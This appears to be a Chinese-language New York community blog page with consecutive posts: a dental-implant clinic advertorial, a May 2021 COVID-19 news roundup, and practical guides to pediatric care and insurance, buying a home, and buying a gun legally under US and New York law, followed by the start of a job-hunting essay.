张女士因为之前和韩国诊所的语言交流不是那么顺利导致之前做手术时没有得到完全的信息,现在只能重新做一遍手术,既多受了一遍罪也多花了一份钱。这提醒我们,种植牙是终身使用的东西,一定不要在没有沟通清楚的前提下选择了便宜的植牙体,手术失败重新植牙的后果就是肉疼钱包也疼。

3、确认无隐形收费,与诊所充分沟通

 

完成种植牙有好几个步骤,所以大家在和诊所了解价格的时候一定要明确都包含了哪些步骤:从一开始的咨询拍3D catscan检查是否包括;每个人的情况不同,是否有牙槽骨萎缩需要植骨粉,需要植多少个区域;是否包括连接种植体骨钉和牙冠的基台;是否包括临时牙冠的费用;植牙期间的复查是否有额外费用;牙冠是单颗的还是连成一片的;牙冠是全瓷冠还是含金属的烤瓷冠…

 

有时一些诊所最初给的价格只包含整个手术中的部分费用,中间出现了其他费用,和最初大家咨询时的费用不一致,这就很令人头疼了。

4、缺牙后尽快植牙,省时省钱

 

很多人在掉牙后都有遇缺不补的经历,其实牙掉了之后,时间太长就很难植牙。因为其它牙在生长挤占了缺牙的空间,所以植牙前需要先矫正两侧的牙,空出原来的位置后才能再植牙。

 

同时,缺牙部位由于没有牙根的刺激,缺牙部分以及旁边牙齿的牙槽骨、牙龈会逐渐萎缩;轻者需要做植骨手术,严重牙槽骨萎缩做植骨粉手术也无法弥补的只能做牙桥来维持牙齿的功能。

公平来说,牙桥是一种效果很好也比较成熟的技术,相对种植牙过程也简单,但是其缺点就是必须牺牲旁边两颗健康的牙齿,磨小了做牙桥,这是不可逆的,也非常考验其他牙齿的承重力,保持的时间和病人自身的咬合关系以及做牙桥的牙齿的骨骼健康程度有关,一般来说能维持5-10年。

 

这样看来,如果长期拖着不植牙,可能会影响旁边的牙齿松动、移位,可能会从简单的一颗植牙变成需要先做植骨手术,更甚者变成多颗植牙;或者是要先花钱去矫正牙齿再植牙,都是又费时又费钱的多余操作。

 

看到这里,是不是不自觉的捂紧了钱包,想赶紧找一个靠谱的牙医,把新长出来的蛀牙给修补了?

缺牙的你,是不是也想亡羊补牢悬崖勒马,趁现在咨询一下植牙?

 

 

New York Dental Studio 纽约牙科诊所

位于曼哈顿中城最核心地段:宽敞通畅的Park大道和低调时尚的Madison大道之间,缁临中央公园,是纽约所有高端诊所梦寐以求的地理位置。

地址: 30 E 60th St #2402, New York, NY 10022

纽约牙科New York Dental.studio-曼哈顿最好的牙科诊所/曼哈顿牙科医生/曼哈顿牙医

Dr Brandon Huang 是纽约牙科诊所的主治医生,2001年便开始独立经营在曼哈顿上东区的牙科诊所,距今已近20年。黄医生出生于一个“化学世家”,祖父是上海有计划学院前院长,父母都是美国化学博士。黄医生毕业于凯斯西储大学,拥有生物和化学专业的双学位,在此之后获得俄亥俄州立大学牙科学院牙科博士。毕业后先后在Maimonides医疗中心和纽约曼哈顿Mountain Sinai西奈山医疗中心实习。

牙齿矫正方面,他是全美国Invisalign® Top 1% Provider、纽约数一数二的Invisalign® VIP Diamond Plus Provider,每年经手超过1000个矫正病例,有着非常丰富的经验;

 

由于他对美国和亚洲面孔的双重审美,不仅牙齿矫正做的更深得你心,牙齿美容瓷贴面 Veneers​也做得相当出色,他经验丰富、技术一流,经常有人几个小时十几个小时从别的国家飞过来找黄医生做牙齿美容瓷贴面。

 

就连做完根管或是种植牙的烤瓷牙冠在他手中也做出了美容的效果:他不仅考虑烤瓷牙冠保护脆弱牙齿、承担咬合作用的性能,还根据每个人牙齿的颜色、牙齿的形状和排列,设计出最美观的牙冠,却没有任何额外收费,绝对是额外收获!

 

Dr. Cho Pae Chun 是纽约牙科诊所的手术医生,他负责纽约牙科诊所患者的拔牙植牙和各类牙科手术。除了在曼哈顿的纽约牙科诊所以外,也在新泽西和长岛其他诊所负责手术拔牙和植牙,是一位非常有经验的牙科手术医生。Dr. Cho获得了纽约大学牙科学院的牙科手术博士学位。从牙科学院毕业后, Dr. Cho 在南布朗克斯中心林肯医疗和心理健康中心的最繁忙的创伤中心完成了他5年的口腔和颌面部住院医生实习。

 

Dr. Cho 精通所有牙科外科手术,包括普通拔牙、手术拔牙和植牙。平均而言,他每月进行包括智齿的约500次拔牙手术,和200次植牙手术。他非常的耐心和细心,让患者在一个舒适放松的情况下进行复杂的牙科手术。

 

他也是一个对科学无限热爱的人,了解他的人可以发现,他从事牙科手术这一行并不是因为专科医生收费比普通医生高,而是他对这门技术活是有真挚而单纯的热爱!他为帮助每一个饱受智齿、坏掉的牙齿疼痛的患者远离病痛让他真心感到快乐,他经常在他个人的Instagram上分享不同程度难度的案例,是一位非常有探究精神非常乐于助人的医生,每一个他的病人对他高超的技术和耐心负责的态度都赞赏有加。

黄医生和他的团队在牙科方面的不断积累和钻研,对完美设计的不懈追求,让每一位来纽约牙科诊所的人都能获得自信、美丽、独一无二的笑容。多年来患者们对New York Dental Studio纽约牙科诊所的医生的平易近人与高超的技术好评如潮,google review的上百条好评就是对他们的肯定。

经常你从纽约牙科诊所出来,门口停着一辆劳斯莱斯;和行色匆匆抱着爱马仕birkin的女士装个满怀。等等,在这样的地段看这么专业的医生植一颗牙价格是不是要上天?

 

No No No…我们植牙的价格是大写的优惠!

 

  • MIS 植牙系统(含咨询检查、拔牙、种植体固定、基台、临时牙冠、永久牙冠)
  • Nobel Biocare/Straumann植牙系统(含咨询检查、拔牙、种植体固定、基台、临时牙冠、永久牙冠)
  • 植骨手术:?(如有需要医生会提前说明)
  • 鼻窦增高术:?(如有需要医生会提前说明)

 

曾经有一颗健康的牙齿摆在你的面前你没有珍惜!

直到失去才追悔莫及

如果上天可以重来一次的话

我想对那颗牙说三个字:“保护你”

如果非要给这个爱加上一个期限的话

我希望是:一生

 

 如果你也有缺牙的困惑,就赶紧打电话:212-588-1809

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2021-05-26 / by / in ,
【疫情快讯 5月25日】纽约公立学校9月开学 不设网上学习

据上周COVID-19新增病例数据统计,目前美国新增感染人数大幅降低。不过,从全球范围来看,疫情情况并不乐观。

世卫组织网站数据显示,至5月24日2:50 pm CEST(中欧夏令时间),全球24小时新增病例508,074。

据约翰‧霍普金斯大学的统计数据,截至美东夏令时5月24日晚上7:00,全球COVID-19病例总数超过1.67亿(167,089,543)例,死亡人数超过346万(3,468,733)人。

美国上周报告的病例数大幅降低

路透社报导,根据对美国各州和县的数据分析,美国上周报告的新增COVID-19病例数为近一年来最低,新感染病例数比之前一周下降了26%,降至18万以下。

截至5月23日的一周,COVID-19的死亡人数下降5%,至3,969人。

在全国范围内,新病例已经连续六周下降。

美国CDC统计数据显示,至5月24日 美国东部时间12:28 PM,纽约州(不包括纽约市)24小时新增病例634例, 纽约市无新增病例。

纽约市公立学校秋季仍需戴口罩

纽约市公立学校教育总监梅莎·波特(Meisha Porter)在5月24日的新闻发布会上表示,纽约市的公立学校9月13日重新开放时,仍将需要口罩。

市长白思豪(Bill de Blasio)对媒体说9月恢复面对面学习,学生没有虚拟学习的选择,公立学校系统将继续遵守CDC的社交疏离准则。

美国发布勿去日本旅行建议

由于Covid疫情推迟一年的日本奥运会临近,美国国务院5月24日发布针对日本“请勿旅行”的建议。

东京奥运会定于7月23日举行,奥运会高级官员上周表示,即使是在紧急状态下,奥运会还是会如期举行。

美国疾病控制与预防中心在新的指南中说:“旅客应避免所有前往日本的旅行。”“由于日本目前的局势,即使是完全接种疫苗的旅行者也可能有感染和传播COVID-19变种的风险,应避免所有前往日本的旅行。”

美国感染病例和死亡人数最多的前十州

以下是确诊病例最多的前十个州:

1.加利福尼亚州:3,777,077例

2.德克萨斯州:2,941,389例

3.佛罗里达州:2,310,335例

4.纽约州:2,095,319例

5.伊利诺伊州:1,375,420例

6.宾夕法尼亚州:1,196,778例

7.乔治亚州:1,119,979例

8.俄亥俄州:1,097,300例

9.新泽西州:1,014,088例

10.北卡罗来纳州:995,754例

以下是死亡人数最多的前十个州:

1.加利福尼亚州:62,933人死亡

2.纽约州:53,131人死亡

3.德克萨斯州:51,225人死亡

4.佛罗里达州:36,474人死亡

5.宾夕法尼亚州:26,987人死亡

6.新泽西州:26,091人死亡

7.伊利诺伊州:25,001人死亡

8.乔治亚州:20,661人死亡

9.密歇根州:20,140人死亡

10.俄亥俄州:19,709人死亡

中国多地出现疫情

广东省疫情持续延烧,广州荔湾区确诊病例郭女士被确认感染了印度出现的变异株,过后其丈夫也被确诊。据悉,此前郭女士被通报最近14天未离开广州,近日曾去过荔湾区8个场所,

除此之外,广东省深圳也有新增病例。据深圳卫健委消息,5月23日0时-24时,新增2例无症状感染者。

5月21日及22日,安徽省六安市接连出现新增疑似及确诊病例。

另外,辽宁省营口市鲅鱼圈目前共封闭小区100个。

印度Covid变种引发更多担忧

世界卫生组织(WHO)示警,造成印度疫情失控原因之一的印度变种病毒“B.1.617”,至少已在43个国家现踪。这款变种病毒比原始病毒更危险,意味着它更易于传播、更加致命或具有躲避疫苗的能力。

美、英追查病毒源头

5月23日,《华尔街日报》(WSJ)援引一名不具名知情人士的话说,美国一份情报报告显示,在中共政权报告首批COVID-19病例之前一个月,武汉病毒研究所的三名研究人员就已经在医院就医。

美国国务院1月15日发布的一份概况介绍说,武汉病毒研究所的几名研究人员在2019年秋季出现与感染中共病毒相似病症,但没有提到研究人员的人数和他们患病的确切时间。

5月24日被要求对《华日》的报导发表评论时,英国首相约翰逊的发言人说:“世卫对病毒起源的调查正在进行,我们自始至终都很清楚,调查必须是稳健、透明和独立的。”

当被问及该报导是否暗示了实验室泄漏的可能性时,该发言人说:“我们希望让世卫彻底进行调查,并正确进行,然后从中做出判断。”

2021-05-25 / by / in ,
美国纽约看儿科 | 选儿科医生 儿童医疗保险 儿科急诊 流程

孩子在成长过程中避免不了需要定期体检、打预防针,有时会有个感冒发烧,这些都需要找儿科医生。在美国纽约给孩子看病,怎样选小儿科医生?怎么给孩子办理儿童医疗保险?我们这里给大家分享一下看儿科流程及指南,爸爸妈妈们可以先了解一下。

选择儿科医生

美国的每个小朋友,从出生到18岁,都可以选择一位儿科医生。

爸妈可以给孩子挑选专业儿科医生(pediatrician),或者家庭医生。一般来讲,对年龄较小的宝宝,专业的小儿科医生更熟悉儿童的情况,具备更多儿童医疗的专业知识。

史丹顿岛儿科/华人儿科医生/718-980-6688/幸福儿科史丹顿岛分诊所

第一次找儿科医生,可以参考身边亲戚朋友的推荐,或者找一家比较专业的儿科医生诊所。总之,可以考虑一下医生的专业程度、语言、出诊地点,医生是否和蔼耐心和认真负责等的因素。

儿童医疗保险

美国所有的儿童(18岁以下)都可以有医疗保险。美国的儿童医疗保险基本有以下几种:

家庭医疗保险,如果父母购买了家庭医疗保险,子女就包括在里面了。假如父母是公司雇员,很多公司都会给员工和家人买医疗保险,作为公司福利。这样,小孩的医疗保险也包括在内了。

Medicaid,如果家庭收入在贫困线以下,可以申请美国的联邦医疗保险 Medicaid,就是平时所讲的白卡,用白卡看医生可以享受免费医疗。

CHIP儿童医疗保险计划,CHIP是Medicaid的扩展项目。如果家庭收入超过了白卡的限制,但孩子没有医疗保险怎么办呢?美国有一个专门为儿童提供医疗保障的项目,叫做儿童医疗保险计划CHIP (Children’s Health Insurance Program)。申请到CHIP以后,儿童就可以享受到免费或低成本的医疗保险。

这份儿童健康保险计划也是因各州而异,CHIP可以在Medicaid管理机构处申请。

以纽约州为例,这项计划称为Child Health Plus。 19 岁以下儿童可通过这项儿童保险计划,享元受免费或低价的医疗保健服务。根据家庭收入和人口情况,可以免费医疗,或者支付每月最低9美,最高60美元的医疗保险费。

具体可以点击查看纽约州政府的健康保健网站

您可以拨打纽约州免费申请电话: 1-800-698-4543 或1-855-355-5777

Medicaid和CHIP覆盖医疗项目:

-牙科保健;

-视力评估,包括眼镜;

-体检和门诊;

-疫苗接种;

-心理健康评估和咨询;

-住院;

-仪器和实验检测;

-专科治疗;

儿科急诊

如果遇到孩子发高烧或紧急情况时,可以给儿科诊所打电话,诊所一般会有24小时值班的电话。如果护士判断情况比较紧急,会让你带孩子去医院看急诊。

看急诊有两种选择,可以考虑就近的紧急护理中心(UC, urgent care)或者是大医院的急诊(ER, Emergency Room),都不需要预约。紧急护理中心费用会便宜一些。

爸妈们平时可以关注一下住家附近的急诊诊所,事先了解一下孩子的医疗保险,在紧急情况下急诊的费用报销情况。到时候就知道应该怎么处理了。

看儿科流程

在美国看医生,只要不是急诊,其它情况下看病、体检、打预防针都要提前打电话预约。

到了预约的时候,带好孩子的医疗保险卡,如果是打预防针,带上疫苗记录,提前一点时间到诊所。然后,到诊所前台登记一下。

接下来等着护士叫名字,就可以看医生了。

如果常规检查里发现有需要去专科医院检查的项目,儿科医生会安排转诊。一般来讲,专科医生往往也是需要预约的。

在美国只要年龄没满18岁,即使是高中生了,需要时都可以去看儿科。

 

纽约布鲁克林儿科诊所

幸福儿科 Happiness Pediatrics是一家位于纽约布鲁克林Brooklyn的专业儿科诊所。为刚出生的婴儿到21岁的青年提供专业医疗服务。

专业的儿科团队

诊所院长黄彦鈜医学博士,是一位资深儿科医生,获得哈佛大学研究生文凭,爱因斯坦大学儿科文凭。是爱因斯坦医学院儿科住院医师,现任康奈尔下城医院及纽约大学信义会医院临床教授,儿科主治医师。精通中文(粤语、国语)和英文。

 

诊所的每一位医生都得到美国小儿科特考文凭。多年的小儿科培训,使他们能够应对各种情况,作出快速、准确的判断。

全方位的儿科服务

诊所给儿童提供全面的儿科服务,包括:新生儿护理,实验室测试,诊断与治疗,免疫接种,入学&体育健康体检,牙科治疗,幼儿保育考试,视觉检查,饮食/营养。

出于对诊所的信任,就诊过幸福儿科的很多患者都将诊所推荐给了自己的朋友和亲戚。

网上看诊

在新型冠状病毒疫情下,为了让家长与孩子们能安全的留在家中,幸福儿科实施网上看诊。

线上看诊不但安全,也非常的方便。您只需打电话或运用诊所的手机APP线上预约时间。到时候只要一个点击,您就可以“见”到医生了,和医生用视频线上谈话。

急诊电话和预约电话

预约电话:917-338-6688

儿科急诊电话:917-338-6688 / 718-980-6688

诊所地址

布鲁克林诊所:762 59th st, Suite 7, Brooklyn,NY 11220 (7至8大道之间)

网站地址:www.happinesspediatrics.com

营业时间

请各位爸爸或妈妈看一下诊所的工作时间,方便您安排时间给孩子就诊。

周二 – 周四        9:30am – 5:00pm

周六      9:30am – 5:00pm

周日      9:30am – 5:00pm

2021-05-24 / by / in , ,
美国买房详解|美国买房流程指南|纽约买房准备|在美国买房要注意什么?

文|雨荷

买房是人生大事一定要慎重。对于买房的新手,在美国买房应注意什么呢?美国买房流程是什么?美国买房详解。

一、准备阶段。买房前要先问自己三个问题。

1、购房预算

买房子最先要搞清楚自己的支付能力,然后确定合理的购房预算范围。同时这个预算也可以作为搜寻房屋时的第一个筛选标准来缩小范围。需要贷款的朋友,如果有了预算,可以通过Reimagine home这个房屋信息网站上的计算器,来预估月供的价格,一般需要输入你的首付额、贷款时长等信息就能看到了,它还会显示每年的地税和房屋保险金额。

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美国买房详解一 示意图。

2、买房的目的

了解买房的目的是为了进一步缩小搜索范围,更快、更精准的搜索到自己想要的房子。比较常见的目的是下面四种。

a、学区房:对地理位置要求高,要清楚当地的好学区在哪里。

b、投资:更看重本地的经济发展前景,预判未来的升值潜力。

c、舒适:关注房子本身的软硬件设施。

d、方便:比如距离公司比较近,通勤时间短,或者离家人更近挨着大公园、周边设施齐全等等。

3、对房屋的要求是什么?

买房子本来就是一笔大开销,都会慎重选择,很容易看的眼花或者纠结。如果在看房前把自己的最低要求列出来,哪些条件必须具备,哪些可以忽略,就能在最后关头帮助自己做决策,只要有一点无法达到最低要求的就淘汰,高于最低要求的就加分。这样当面对多个选择的时候,就能分辨出谁更胜一筹了。

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美国买房详解二 示意图。

二、房源:

1、搜索渠道

搜房网站小编为您推荐两个好用且大众的网站,redfin和zilloow他们也有自己的app,在网站上根据自己的需求设置几个filter之后,就能在想要搜索的区域看到符合条件的房子,点进去之后会有更加详细的房屋信息,还可以查询交易记录、涨幅趋势,还能看到学区条件等等。

2.美国的房屋中介

一般分为销售代理和买房代理两种。第一种是卖家中介,也就是帮卖房人把房屋挂到市场上,并帮忙打理、安排别人看房等事项。而买房代理就是我们买房时想要找的人了,他们会帮我们查找合适的房源,并预约带着看房,帮忙争取最优价格等等。买房需要找一个靠谱、业务能力高的中介,一个好的买房中介会帮助您联系卖房中介,准备材料、提供必要的建议。

找中介建议给大家, 如果身边有已经购房的朋友,可以请他们推荐合作过比较好的房屋中介。如果是购买二手房,向您推荐大公司的中介,毕竟资源多,选择的空间比较大。有时会发现同一套房子的销售代理和买房代理是同一个人,这样的情况最好避免,毕竟两者目的上就有冲突。

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美国买房流程指南一 示意图。

、新房/二手房

新房通过浏览美国几大知名建造商的官网,看看城市规划,就能知道哪里有新房。虽然购买新房,中介不是必须的,但是第一次去新房register的时候,建议带上中介,因为会有返现活动,开发商会返现给中介,中介也会再把这一笔钱的一部分返给你。

二手房主要分成两大类on the market和off market,在找二手房时中介作用很大,尤其是手中off market房源多的中介。

在美国二手房源有一个统一的信息库,叫做MLS,汇集了市场上最全的二手房数据,这些能在市场上查到的房。都叫做on the market。这些房子一般都会改建,符合当下市场审美需求,如果自己有扩建、改造的计划,也会帮忙申请好改建许可比较规范化,但也因为信息公开,好房子就会很抢手。

off market 房主会通过卖房中介(listing agent)将房源散布出去,因为不能公开查询,所以知道这类房屋信息的人有限,好房子也不会有太多人竞争,有更大的可能性买到,这也就是为什么一开始说中介作用很大的原因。在看这类房子的时候,需要多观察,这类房子可能不想花钱重建,去迎合市场需求或者着急转手需要资金等等。看房时要多看细节,重点关注有没有不易察觉的硬伤,不然会影响居和日后的买卖。

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美国买房流程指南二 示意图。

:房屋类型

独栋House/Single Family House,三层以内带自己的院子,房型一般更合理隐私性较好。房产和土地拥有永久产权,维护费较低,但是需要住户自己定期除草收拾。

连排Townhouse/Townhome多是三层,一楼车库;二楼厨房;客厅;三楼是其他的卧室,面积较小,和旁边的邻居会共用一面墙,所以如果隔音不好,可能会有互相干扰的情况。

公寓式住宅Condo,这就是国内比较常见的公寓住宅,住宅形式很多,环境一般比较好,价格相对便宜,但物业管理费比较贵。

新房/二手房的购房流程

新房购房流程

1.资格预审pre-qualificaticon 联系房屋建筑商指定的合作伙伴,按照要求提交资料就可以了。

2.看房-参观样板房model home 参观时带楼层平面图,主意室内光线以及设施,了解额外付费的设施。

3.确定房屋-等待名单wai list 了解房屋的情况,选择自己喜欢的房子,也有不要的权利。

4.签订合同 有固定的模板,沟通了解之后签合同。

5.贷款与开发商合作的机构贷款会有一定程度的优惠。

6.交房

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纽约买房 示意图。

二手房的购房流程

1.资料预审pre-qualificaticon

很多时候会在做pre-qualificaticon的银行贷款。

2.看房-参加房屋开发日open house

查看房子的基本情况,宣传单上的内容是否如实,仔细阅读房屋的检查报告imspection report。

3.确定房屋-竞价bid

Off market的房源是采取先到先得竞价的方式。价钱房主比较就可以成交。

4.签订合同

中介帮忙看了以后,自己也要小心仔细阅读,再签字。

5.贷款

根据自己情况选择即可。

6.交房

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购房流程 示意图。

其他注意事项:

一、看房时不仅要参观屋内,看房屋整体造型,观察小区周边的环境,周边居住怎样的邻居也非常的重要。

二、看新房一定要查清原本的土地性质和污染情况。

三、物业管理费HOA(Homeowner Association)是否每个月缴纳,都包含哪些费用?

四、保险有的是必付的。有些是任性的也需要提前了解,做到预算里。

 

 

 

 

2021-05-23 / by / in , , , ,
在美华人买枪流程/买枪必知的美国枪械法/纽约州市枪械法/纽约华人枪店

文/阿慎

疫情以來,多方面原因使得在美華人危機感徒增,近來部分華人家庭已將買槍自衛列上日程,開始關注買槍流程和槍支型號了。在這裡,我想提醒在美的華人朋友們,在了解買槍流程、買槍之前,您務必要先學習美國槍械法,因為違犯美國槍械法是重罪,千萬要謹慎行之。有不清楚的地方,您可詢問有經驗的華人老槍友(槍友會http://qiangyou.org/bbs/forum.php)、華人槍店(如紐約長島華人槍店等http:// dealsforguns.com)、或當地律師、ATF,以免因法律或語言理解有誤,而無意中違法。

一.美國槍械法:基於美國憲法第二修正案。

第一你要知道美國憲法第二修正案,保護美國公民的持槍權利。

第二美國槍械法非常複雜:因美國是聯邦制,各州槍械法律各不相同,互不兼容,同一個州內的各市法律也不同。五十個州的槍械法+聯邦槍械法,就有“一國五十一制”的說法。總之,聯邦槍械法是全國各州都必須遵行的,各州各市地方法律必須同時遵守

第三觸犯槍械法是聯邦重罪,可能受到坐牢,罰金等嚴重懲罰。因此千萬謹慎。以下是必知的美國槍械法常識:

1.美國聯邦槍械法規定,買槍必須是自買自用,切不可為他人代買,否則(俗稱Straw purchaser)會受到法律的嚴懲。實例:

2009年美国警官Bruce James帮他的叔叔买手枪。为了使用警察折扣,他以“实际购买人”的身份填写4473,省了150美金。即便被告和叔叔都有合法购枪权利,受美国宪法保护。但代买就是犯法,结果罪名成立,入狱5年。原告不服分别上诉到全美第四巡回法庭、最高法院。此案当时引起全美关注,有26个州表达支持被告,有9个州和华盛顿特区支持法庭。尽管9名大法官意见分歧相当大,但最后还是以5比4的微弱优势判决罪名成立。常言道:前车之鉴后事之师。所以,切记切记—代买绝对不可以!

2.填4473表格撒谎,是会判入狱多年的重罪。您的4473表格信息、购枪信息将通过FFL在ATF、FBI系统备案的,这是政府保证民众用枪安全的一种途径。所以填表故意隐瞒、捏造不实信息,就触犯了联邦枪械法,所填的4473表格便是司法证据。最高可判处20年监禁,以及一百万美元的罚款。实例:

丈夫是否可以买枪来做为礼物送给妻子呢? Absolutely yes! 当然可以!在“填表人是否为实际购买者”备注中,填表人是可以买来做礼物送给别人的。我们可以看到,即使最终用户是妻子,丈夫也仍然是实际购买者,其行为是合法的。(上个案例的警官Bruce为他叔叔代买,有收400美金支票)所以,做人做事要堂堂正正的,没必要撒谎。

3.美国各州枪械法对拥枪型号、持枪方式、运枪(搬家到别的州)等等要求各有不同。对于一直生活在美国的人是基本权力是常识,但很多华人并不了解,所以买枪前必学当地的枪械法、及相应的法律责任如:

  • 各州法律对持枪方式各有不同:有的州“公开持枪”合法(Open Carry),即在公共场所、枪械不可用被衣物遮挡、众人一眼就能看到;有的州“隐秘持枪”合法(Concealed Carry),枪械需用衣物遮挡,只有掀开衣物时才可看到。
  • 有些州规定公民携带枪可以在车里,但不能带出车外;要 Unload“枪弹分离”(弹匣没子弹,或弹匣不能在枪里);枪械要放在带锁的箱子里,可不上锁,放在随手够不着的地方—如备箱等。
  • 有些州规定公民携带枪要有枪证;而最近,德州在5/6/2021通过法规,公共场所允许居民无许可证携带手枪。
  • 有规定民众不得持有10发子弹以上的弹匣,10发子弹的弹匣合法,10发以上的违法…
  • 请注意:只要有枪,猎照就要每年更新,否则就是非法持枪。
  • 不允许把枪借给家人以外的人, 除非是通过 Dealer. 把枪借给朋友需要20天的等待时间, 至少去 Dealer 两次, 以及交两次钱等等。
  • 如果枪丢了, 要即使报备, 否则会被禁枪10年. 故意瞒报、没有及时报告, 很可能被判刑事案件.

4.如果有犯罪记录、代买案底、精神病人、吸毒者,家暴史,被法院限制接触家人等的任一种情况的人,法律规定不可以买枪。

5.联邦枪械法规定:外国人(无绿卡的)在美国 possess枪是非法的。例如: 刚来美国就去枪店看枪摸枪,就违法了。

6.借枪:美国枪械法不允许把枪借给家人以外的人, 除非是通过 Dealer. 枪借给朋友,要等20天, 要2次去 Dealer , 2次交费。

二.纽约州对枪械方面的法律和限制非常严格,特别是纽约市内五区更甚于纽约州其他地区,全国数一数二。如下:

联邦枪械法 纽约市内五区地方法规 (纽约市以外)纽约州法规
1 公民、绿卡可以拥有枪支

要求:

手枪:年满21周岁

长枪:年满18周岁

只有公民、绿卡可以拥有枪支。

要求:

手枪:年满21周岁,有手枪证。

长枪:年满21周岁,有长枪证。

公民、绿卡可以拥有枪支。

要求:

手枪:年满21周岁,有手枪证。

长枪:年满18周岁。

2 外国人(F1/H1B等)

可以购买枪支。

要求:

申请到猎照 Hunting License

  ×外国人不可以拥有枪支 外国人(F1/H1B等)

可以购买枪支。

要求:

申请猎照 Hunting License

*外国人包括:如留学签证F1、工作签证H1B、旅游签证、探亲签证、移民签证、A5卡、A10卡等。

二.华人买枪流程:

第一步,华人买枪需要准备什么证件?

1美国公民:持驾照就可以买枪。(手枪:年满21周岁,长枪:年满18周岁)

2绿卡:持驾照、绿卡就可以买枪。

3外国人:H1B、F1学生等(没有绿卡的人),美国联邦法律规定,原则上不能买枪,但你有猎照 Hunting License,可以就合法买枪。带上驾照,I-94(入境单)等身份文档,H1B需带上I-797表就可买枪。

另外,

  • 有的州买手枪handgun需办理手枪证,买长枪的需办长枪证;携带需办隐藏持枪证(CPL);还有购枪持枪许可FSC(Firearm Safety Certification)等。
  • 华州外国人持枪还要办AFL(Alien Firearm License)外国人枪证,要到警察局申请AFL,大约等60天。
  • 在纽约州市外国人枪证难办,可谓是众所周知。填写申请表,提供照片、ID、住址证明,还需要推荐信,付费,过程非常复杂。办理手枪持枪、长枪持枪证等待时间也要长于其它州。

 ♦很多华人朋友因语言问题,个人申请枪证比较困难,可以找个华人枪店。华文沟通,不但可以把法律、枪械问题讲得清楚明白,而且在买枪购枪、使用上的任何疑问,都可随时咨询他们。枪店办枪证当然是最稳妥快捷的。至于价格、口碑货比三家是常识哦!

居住在大纽约地区附近的华人朋友们,可去长岛米诺拉的一家华人经营的枪械用品店,叫纽约长岛Equilibrium Firearms枪店看看。有趣的是枪店里还提供各种辣椒水、防狼喷雾等女士防身用品、家防器械。

第二步,任何人买枪必填4473背景调查表格,没有例外。店员将您的信息表格提交NICS系统后,马上会有结果。一般有3种情况:

1Proceed:通常没有犯罪记录,当场就通过了,直接付钱买枪;

2Delay:系统暂时不确定,比较常见。等十分钟后如果没通过,那就回家等,最终有结论了,店家就会打电话通知你去取枪;

3Denied:没通过也有不少。如店员搞错了信息、忘了提供猎照信息等。需要申诉appeal(店家会教你),申诉通过了,一样可以拿到枪。

* 4473表格(联邦枪械法规定,交易现场填写才有效)可以提前了解一下内容:

http://www.atf.gov/files/forms/download/atf-f-4473-1.pdf

三.买枪的渠道,到哪里买枪?

第一,Local在枪店买枪:最省心了,交钱拿枪、方便快捷。还可当场试手感效果,如果枪有什么问题,枪店承担,但是价格相对比较高。

第二,Online网上买,然后通过本地的FFL(联邦武器执照Federal Firearms License)办一下手续做transfer代理,费用($20-30),好处是样式多、便宜。缺点是等待的时间更久,麻烦。枪有什么问题的话,要自己承担。

第三,私人、枪展不推荐,因为枪展结束,手续一旦有问题,就麻烦了。

四.买什么枪最好?3种枪:

1)霰弹枪(shotgun):是最实用的家防枪,因打出去的是散弹,命中率高;

2)手枪:方便,可随时带在身边;

3)步枪:只有出现社会大骚乱才需要。

五.买手枪的要点:

1)用枪的关键是趁手,最好 是在买枪前去靶场租各类枪试试。

2)精致小巧的手枪,后坐力越大,不易打准。大而重的手枪比较实用。

长岛华人枪店  Equilibrium Firearms

地址:283 Villis Ave., Mineola, NY 11501

電話:516-788-8999

網站:http://dealsforguns.com

六.注意事項,用槍的安全問題:

買槍切莫忽略了安全問題,擁槍的人要有責任心more responsibility,具備良好的持槍習慣,以免擦槍走火:

  • 1)空槍:即便是空槍也不可胡亂比劃。
  • 2)槍口:只要持槍在手,就一直控制槍口對著安全的方向
  • 3)扳機:手指一直放在扳機框外,射擊的一舜,手指才觸動扳機。
  • 4)射擊前:確認靶子、目標、及後方一定範圍沒有人(比如突然出現的小朋友)
  • 5)丟三落四、重要物品總是隨處亂扔的人,慎重買槍。槍出了問題,槍主扛個Felony(重罪)毀終身。

這篇文章只做為參考,遇到法律問題、內容時效性問題以?官方消息為準。   

結束語:害人之心不可有,防人之心不可無。華人買槍Home Defense是大事,一定三思再三思!槍是雙刃劍,我們買槍是自衛,一定要尊重生命、敬畏大自然。切莫去狩獵殺生,把快樂建在其它生命的痛苦之上,罪孽深重不可為!分享一首詩,請細細體會個中意思吧:

白居易
誰道群生性命微?一般骨肉一般皮。
勸君莫打枝頭鳥,子在巢中望母歸。

2021-05-22 / by / in ,
纽约考保险执照/考人寿保险执照/纽约找工作/好工作/工作指导/工作就业/工作推荐/高薪工作

找好工作,必来纽约。不到纽约,不算求职。

到了纽约,各类招聘广告,令人眼花缭乱。怎么办?

一般人最初想到的是沿着原来的职业轨道,比如说小芹做过护理,就找护理公司,海伦原来做美容,就找美容店,张先生原来做IT就找IT类公司,陈先生原来是证券公司主管就找华尔街证券公司职位。我最初到纽约,因为原来在学校教书十几年,所以总想着到学校找工作,于是上网搜索了上百所学校的网站上的招聘信息,投出了几十份简历。我收到面试通知后,兴冲冲去面试,很快就有校长接见、人事处面谈、教务处确定课程信息,可谓是熟门熟路、顺风顺水。

许多人发现熟门熟路的工作,薪资一般般,晋升空间也不大,做个五年十年也不见得有多少成就。就说我那份很快找到的工作,是在Long Island City一个双语学校,当年起步年薪大约三万,就算教个五年十年,年薪五六万、七八万望得到头。

许多人想在美国得拼英文,于是报名上语言学校。有些人想考执照增加自己的职场才能,以为这样可以加薪快,却往往发现投入时间多、产出少。语言学校苦嗬嗬上了一两年,英语提升并不大,靠上个语言学校就能多赚钱的梦想很快就破碎了。有人执照考了好几个,真正派上用场的少,也就是拿多了几张纸而已。我当年得知那个学校开出的薪资才三万左右时,也是马上想到赶紧给自己去充电,拿多一张美国名校的文凭,虽然我有中国名校的博士毕业证书,但在美国高校眼中,也就相当于一件花袄,中看不中用,换不成一叠叠美金。我背着一大包来自中国的学历文凭证书,和早已准备好的翻译公证材料,上哥伦比亚大学报名,发现只能打折,从研究生读起。

毛估估算起来,要在哥大读研读博,不准备三五十万美金,就别做梦拿到博士证书。就算我梦想成真,毕业后奋斗几年成文科教授,起薪四五万,过几年涨成五六万,得多少年才能回个本?

这一算,惊醒了我。我决定改行换业!

